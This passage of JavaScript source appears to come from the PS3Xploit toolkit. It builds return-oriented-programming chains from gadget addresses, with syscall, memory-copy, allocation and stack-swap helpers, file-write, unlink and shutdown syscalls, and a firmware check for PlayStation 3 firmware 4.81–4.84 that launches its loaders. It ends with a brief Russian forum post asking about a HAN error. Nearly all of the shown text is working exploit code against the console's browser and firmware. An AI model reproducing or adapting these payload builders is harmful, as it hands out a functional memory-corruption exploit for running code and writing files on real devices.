+syscall(sc_fs_open,to,fs_flag_create,fd_to,fs_mode,nl,0,0,0)
+syscall_r3r5_p2p(sc_fs_write,fd_to,buf,stat+stat_size_offset,wlen,0,0,0,0,0,0)
+syscall_r3_p2p(sc_fs_close,fd_to,0,0,0,0,0,0,0,0,0);
}
function save_file_overwrite(to,fd,buf,wlen,size,nl)
{
return syscall(sc_fs_open, to, fs_flag_create, fd, fs_mode,nl,0,0,0)
+syscall_r3_p2p(sc_fs_write, fd, buf, size, wlen,0,0,0,0,0,0)
+syscall_r3_p2p(sc_fs_close,fd,0,0,0,0,0,0,0,0,0);
}
function optional_reboot_novalidation(unlink_ptr,shutdown_type,null_ptr)
{
var auto=document.getElementById('auto_reboot');
if(auto){if(auto.checked===true)return syscall(sc_fs_unlink,unlink_ptr,0,0,0,0,0,0,0)+syscall(sc_sm_shutdown,shutdown_type,null_ptr,0,0,0,0,0,0);}
return '';
}
function optional_reboot(newframe,addr1,addr2,addr3,addr4,addr5)
{
var auto=document.getElementById('auto_reboot');
if(auto){if(auto.checked===true)return validate_word_from_ptr(addr1+0x4,newframe+0x10,gadget_mod8_addr)
+validate_word_from_ptr(addr2+0x4,newframe+0x10,gadget_mod8_addr)
+validate_word_from_ptr(addr3+0x4,newframe+0x10,gadget_mod8_addr)
+validate_word_from_ptr(addr4+0x4,newframe+0x10,gadget_mod8_addr)
+validate_word_from_ptr(addr5+0x4,newframe+0x10,gadget_mod8_addr)
+stack_frame_swap(newframe);}
return '';
}
function validate_word_from_ptr(w_ptr,opt_store,val,r29out,r30out,r31out)
{
if(r29out===null){r29out=gtemp_addr;}
if(r30out===null){r30out=gtemp_addr;}
if(r31out===null){r31out=gtemp_addr;}
return load_r3_word_from_ptr_32(w_ptr,gtemp_addr,gtemp_addr,gtemp_addr,gtemp_addr,opt_store,gtemp_addr)
+hexdw2bin(gadget_mod12_addr)+fill_by_16bytes(0x70,dbyte00)+fill_by_8bytes(0x8,dbyte00)+hexdw2bin(val)+fill_by_16bytes(0x10,dbyte00)+hexdw2bin(r29out)+hexdw2bin(r30out)+hexdw2bin(r31out)+hexdw2bin(val)+fill_by_8bytes(0x8,dbyte41);
}
function padding()
{
var auto=document.getElementById('auto_reboot');
if(auto){if(auto.checked===false)return fill_by_16bytes(0x800,dbyte00);}
return '';
}
function getlastUserId(storage_offset,act,uid,full_path,jmp,jmp2,r31out)
{
if(r31out===null){r31out=gtemp_addr;}
return callsub(gadget14_addr,0,0,0,0,0,0,0,0,0,0x90,toc_entry4_addr,jmp-0x8)
+hexdw2bin(gadget_mod11_addr)+fill_by_16bytes(0x60,dbyte41)+fill_by_8bytes(0x8,dbyte41)+hexw2bin(uid)+fill_by_4bytes(0x4,dbyte00)+fill_by_16bytes(0x10,dbyte00)+hexw2bin(storage_offset+0x4)+fill_by_4bytes(0x4,dbyte00)+fill_by_8bytes(0x18,dbyte00)+hexdw2bin(storage_offset+0x4)+fill_by_16bytes(0x10,dbyte00)
+hexdw2bin(gadget15_addr)+fill_by_16bytes(0x70,dbyte00)+hexdw2bin(r31out)+fill_by_16bytes(0x10,dbyte41)
+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)
+hexdw2bin(gadget_mod1_addr+0x20)+fill_by_16bytes(0x70,dbyte00)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(jmp2)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(storage_offset-0x8)+fill_by_16bytes(0x10,dbyte00)+hexdw2bin(gadget9_addr)+fill_by_16bytes(0x60,dbyte00)+hexdw2bin(full_path)+fill_by_16bytes(0x10,dbyte00)
+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)
+hexdw2bin(gadget11_addr)+fill_by_16bytes(0x90,dbyte41)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function malloc_(m_ptr_holder,size)
{
return callsub(gadget6_addr,toc_entry4_addr,size,0,0,0,0,0,0,0,0x70)+store_r3_word(m_ptr_holder);
}
function memset_r3_p2p(m_ptr_holder,len,val)
{
return callsub_r3_p2p(gadget7_addr,m_ptr_holder,len,val,0,0,0,0,0,0,0x70);
}
function memcpy_r3_p2p(m_ptr_dest,src,len)
{
return callsub_r3_p2p(gadget8_addr,m_ptr_dest,src,len,0,0,0,0,0,0,0x70);
}
function memset(ptr,len,val)
{
return callsub(gadget7_addr,ptr,len,val,0,0,0,0,0,0,0x70);
}
function memcpy(dest,src,len)
{
return callsub(gadget8_addr,dest,src,len,0,0,0,0,0,0,0x70);
}
function free_r3_p2p(ptr_to_ptr)
{
return callsub_r3_p2p(gadget13_addr,ptr_to_ptr,0,0,0,0,0,0,0,0,0xA0);
}
function free(ptr)
{
return callsub(gadget13_addr,ptr,0,0,0,0,0,0,0,0,0xA0);
}
function load_r3_word_from_ptr_32(offset,r26out,r27out,r28out,r29out,r30out,r31out)
{
if(r26out===null){r26out=gtemp_addr;}
if(r27out===null){r27out=gtemp_addr;}
if(r28out===null){r28out=gtemp_addr;}
if(r29out===null){r29out=gtemp_addr;}
if(r30out===null){r30out=gtemp_addr;}
if(r31out===null){r31out=gtemp_addr;}
return hexdw2bin(gadget_mod3_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+hexdw2bin(offset-0x8)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)
+hexdw2bin(gadget_mod15_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_8bytes(0x8,dbyte41)+hexdw2bin(r26out)+hexdw2bin(r27out)+hexdw2bin(r28out)+hexdw2bin(r29out)+hexdw2bin(r30out)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function load_r3_dword_from_ptr_32(offset,r28out,r29out,r30out,r31out)
{
if(r28out===null){r28out=gtemp_addr;}
if(r29out===null){r29out=gtemp_addr;}
if(r30out===null){r30out=gtemp_addr;}
if(r31out===null){r31out=gtemp_addr;}
return hexdw2bin(gadget_mod3_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+hexdw2bin(offset-0x40)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)
+hexdw2bin(gadget_mod14_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_8bytes(0x8,dbyte41)+hexdw2bin(r28out)+hexdw2bin(r29out)+hexdw2bin(r30out)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function store_r3_word(store_offset,r29out,r30out,r31out)
{
if(r29out===null){r29out=gtemp_addr;}
if(r30out===null){r30out=gtemp_addr;}
if(r31out===null){r31out=gtemp_addr;}
return hexdw2bin(gadget_mod13_addr+0x4)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(store_offset-0x10)+fill_by_16bytes(0x10,dbyte41)
+hexdw2bin(gadget_mod13_addr)+fill_by_16bytes(0x50,dbyte41)+hexdw2bin(r29out)+hexdw2bin(r30out)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function store_word_from_ptr_32(store_offset,ptr_to_val,r29out,r30out,r31out)
{
if(r29out===null){r29out=gtemp_addr;}
if(r30out===null){r30out=gtemp_addr;}
if(r31out===null){r31out=gtemp_addr;}
return load_r3_word_from_ptr_32(ptr_to_val,gtemp_addr,gtemp_addr,gtemp_addr,gtemp_addr,gtemp_addr,gtemp_addr)+ store_r3_word(store_offset,r29out,r30out,r31out);
}
function store_word(store_offset,val,r29out,r30out,r31out)
{
if(r29out===null){r29out=gtemp_addr;}
if(r30out===null){r30out=gtemp_addr;}
if(r31out===null){r31out=gtemp_addr;}
return hexdw2bin(gadget_mod3_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(val)+fill_by_8bytes(0x8,dbyte41)+hexdw2bin(store_offset-0xC74)+fill_by_16bytes(0x10,dbyte41)
+hexdw2bin(gadget_mod7_addr)+fill_by_16bytes(0x70,dbyte41)+hexdw2bin(r29out)+hexdw2bin(r30out)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function store_byte(store_offset,val,r26out,r27out,r28out,r29out,r30out,r31out)
{
if(r26out===null){r26out=gtemp_addr;}
if(r27out===null){r27out=gtemp_addr;}
if(r28out===null){r28out=gtemp_addr;}
if(r29out===null){r29out=gtemp_addr;}
if(r30out===null){r30out=gtemp_addr;}
if(r31out===null){r31out=gtemp_addr;}
return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x70,dbyte41)+fill_by_4bytes(0xC,dbyte41)
+hexw2bin(store_offset-0x10)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(val)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)
+hexdw2bin(gadget_mod10_addr)+fill_by_16bytes(0x60,dbyte41)+fill_by_8bytes(0x8,dbyte41)+hexdw2bin(r26out)+hexdw2bin(r27out)+hexdw2bin(r28out)+hexdw2bin(r29out)+hexdw2bin(r30out)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function set_toc(toc_offset,r29out)
{
if(r29out===null){r29out=gtemp_addr;}
return hexdw2bin(gadget_mod16_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(toc_offset)+fill_by_8bytes(0x48,dbyte41)+hexdw2bin(r29out)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function stack_frame_swap(new_stack_addr)
{
// to swap stack frame
// Usage: swap_sf = hexdw2bin(r31out)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(next gadget)+......;
// stack_frame_swap(swap_sf_addr+0x8)
return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+hexdw2bin(new_stack_addr)+fill_by_8bytes(0x8,dbyte41)+hexdw2bin(gadget_mod9_addr);
}
function stack_frame_hookup()
{
return unescape("\u4141\u2A2F")+hexw2bin(gadget1_addr)+hexw2bin(toc_addr)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(toc_addr)+fill_by_16bytes(0x70,dbyte41);
}
function stack_frame_exit()
{
return hexdw2bin(gadget_mod8_addr)+unescape("\u2F2A");
}
function syscall_r3_p2p(sc,r3_ptr,r4,r5,r6,r7,r8,r9,r10,r31out)//r3 = the value found at pointer r3_ptr
{
if(r31out===null){r31out=gtemp_addr;}
return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)
+hexw2bin(sc)+hexw2bin(r10)+hexw2bin(r8)+hexw2bin(r7)+hexw2bin(r6)+hexw2bin(r5)+hexw2bin(r4)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(r9)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(r3_ptr)
+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod4b_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function syscall(sc,r3,r4,r5,r6,r7,r8,r9,r10,r31out)
{
if(r31out===null){r31out=gtemp_addr;}
return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(sc)+hexw2bin(r10)
+hexw2bin(r8)+hexw2bin(r7)+hexw2bin(r6)+hexw2bin(r5)+hexw2bin(r4)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(r9)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(r3)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod2_addr)
+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod4a_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function syscall_r3r5_p2p(sc,r3_ptr,r4,r5_ptr,r6,r7,r8,r9,r10,r31out)//r3 = the value found at pointer r3_ptr//r5 = the value found at pointer r5_ptr //gadget_mod4c_addr fucks with r9 so need to reload r9 if used
{
if(r31out===null){r31out=gtemp_addr;}
return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)
+hexw2bin(sc)+hexw2bin(r10)+hexw2bin(r8)+hexw2bin(r7)+hexw2bin(r6)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(r4)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(r9)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(r5_ptr-0x4)+hexdw2bin(gtemp_addr)+fill_by_8bytes(0x18,dbyte41)
+hexdw2bin(gadget_mod4c_addr)+fill_by_16bytes(0xB0,dbyte41)+hexdw2bin(r3_ptr)+fill_by_16bytes(0x10,dbyte41)
+hexdw2bin(gadget_mod4b_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function callsub_r3_p2p(sub,r3_ptr,r4,r5,r6,r7,r8,r9,r10,r11,sub_frame_size,r31out)//r3 is value found at r3_ptr
{
var min_stack_size=0x20;
if(sub_frame_size<min_stack_size){throw "callsub cannot use the gadget at 0x"+sub.toString(16)+" because its frame size is < 0x"+min_stack_size.toString(16)+"!";}
if(r31out===null){r31out=gtemp_addr;}
return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(r11)+hexw2bin(r10)
+hexw2bin(r8)+hexw2bin(r7)+hexw2bin(r6)+hexw2bin(r5)+hexw2bin(r4)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(r9)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)
+load_r3_word_from_ptr_32(r3_ptr,gtemp_addr,gtemp_addr,gtemp_addr,gtemp_addr,gtemp_addr,r31out)+hexdw2bin(sub)+fill_by_16bytes(sub_frame_size-min_stack_size,dbyte00)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function callsub(sub,r3,r4,r5,r6,r7,r8,r9,r10,r11,sub_frame_size,r31in,r31out)
{
var min_stack_size=0x20;
if(sub_frame_size<min_stack_size){throw "callsub cannot use the gadget at 0x"+sub.toString(16)+" because its frame size is < 0x"+min_stack_size.toString(16)+"!";}
if(r31out===null){r31out=gtemp_addr;}
if(r31in===null){r31in=gtemp_addr;}
return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(r11)+hexw2bin(r10)
+hexw2bin(r8)+hexw2bin(r7)+hexw2bin(r6)+hexw2bin(r5)+hexw2bin(r4)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(r9)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(r3)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod2_addr)
+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(r31in)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(sub)+fill_by_16bytes(sub_frame_size-min_stack_size,dbyte00)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function callsub_xtraparams(sub,r3,r4,r5,r6,r7,r8,r9,r10,r11,r26,r27,r28,r29,r30,r31,sub_frame_size,r31out)
{
var min_stack_size=0x20;
if(sub_frame_size<min_stack_size){throw "callsub_a cannot use the gadget at 0x"+sub.toString(16)+" because its frame size is < 0x"+min_stack_size.toString(16)+"!";}
if(r31out===null){r31out=gtemp_addr;}
return hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(0x50,dbyte41)+fill_by_4bytes(0xC,dbyte41)+hexw2bin(r11)+hexw2bin(r10)
+hexw2bin(r8)+hexw2bin(r7)+hexw2bin(r6)+hexw2bin(r5)+hexw2bin(r4)+fill_by_4bytes(0x4,dbyte41)+hexw2bin(r9)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(r3)+fill_by_16bytes(0x20,dbyte41)+hexdw2bin(gadget_mod5_addr)
+fill_by_16bytes(0x50,dbyte41)+fill_by_8bytes(0x8,dbyte41)+hexdw2bin(r26)+hexdw2bin(r27)+hexdw2bin(r28)+hexdw2bin(r29)+hexdw2bin(r30)+hexdw2bin(r3)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(0x60,dbyte41)
+hexdw2bin(r31)+fill_by_16bytes(0x10,dbyte41)+hexdw2bin(sub)+fill_by_16bytes(sub_frame_size-min_stack_size,dbyte00)+hexdw2bin(r31out)+hexdw2bin(sp_exit)+fill_by_8bytes(0x8,dbyte41);
}
function check_nbytes(nbytes)
{
if(nbytes%2!==0){throw "fill_by_Xbytes functions cannot use nbytes = 0x"+nbytes.toString(16)+". nbytes must be set to an even value.";}
}
function fill_by_2bytes(nbytes,hex_val)
{
check_nbytes(nbytes);
var stemp='';var iterator=0;
while(iterator<nbytes/2){stemp+=hexh2bin(hex_val);iterator++;}
return stemp;
}
function fill_by_4bytes(nbytes,hex_val)
{
check_nbytes(nbytes);
var stemp='';var iterator=0;var tmp=hexh2bin(hex_val);
while(iterator<nbytes/4){stemp+=tmp.repeat(2);iterator++;}
return stemp;
}
function fill_by_8bytes(nbytes,hex_val)
{
check_nbytes(nbytes);
var stemp='';var iterator=0;var tmp=hexh2bin(hex_val);
while(iterator<nbytes/8){stemp+=tmp.repeat(4);iterator++;}
return stemp;
}
function fill_by_16bytes(nbytes,hex_val)
{
check_nbytes(nbytes);
var stemp='';var iterator=0;var tmp=hexh2bin(hex_val);
while(iterator<nbytes/16){stemp+=tmp.repeat(8);iterator++;}
return stemp;
}
//###### End ROP Framework functions by bguerville(under development) ######
function ps3chk(){
var fwCompat = ["4.00","4.10","4.11","4.20","4.21","4.25","4.30","4.31","4.40","4.41","4.45","4.46","4.50","4.53","4.55","4.60","4.65","4.66","4.70","4.75","4.76","4.78","4.80","4.81","4.82","4.83","4.84"];
var ua = navigator.userAgent;
var uaStringCheck = ua.substring(ua.indexOf("5.0 (") + 5, ua.indexOf(") Apple") - 7);
var fwVersion = ua.substring(ua.indexOf("5.0 (") + 19, ua.indexOf(") Apple"));
var msgCongrats = "Congratulations! We've detected your PlayStation 3 is running FW " + fwVersion + ", which is compatible with PS3Xploit! Enjoy!";
switch (uaStringCheck) {
case "PLAYSTATION":
switch (fwVersion) {
case fwCompat[23]:
alert(msgCongrats);
initDEX();
loadcex_481();
break;
case fwCompat[24]:
alert(msgCongrats);
loadcex_482();
break;
case fwCompat[25]:
alert(msgCongrats);
loadcex_483();
break;
case fwCompat[26]:
alert(msgCongrats);
loadcex_484();
break;
default:
alert('Your PS3 is not on FW 4.81+! Your current running FW version is ' + fwVersion + ', which is not compatible with PS3Xploit Tools 3.0. All features have been disabled');
disable_all();
break;
}
break;
default:
alert('You are not on a PlayStation System! All features have been disabled');
disable_all();
break;
}
}
Прошу любить и жаловать, Ваш Добро пожаловать в наш Чат в Telegram
Здравтвуйте! Я нуб. У меня при запуске игры на ps3 han выбило ошибку: Для доступа к этому контенту необходимо запустить систему.Войдите в сеть с использованием той же учетной записи, которая использовалась для приобритения этих материалов...(80029514) Помогите пожалуйста, не знаю что делать. Хотя-бы ссылкой поделитесь, для решения проблемы
Никогда не бойтесь делать то, что не умеете! Помните: Титаник построили профессионалы, а ковчег - любители. Телепаты в отпуске. Если хотите чтобы Вашу проблему решили максимально быстро - максимально точно её опишите. Нам разум дал стальные руки-крюки (С)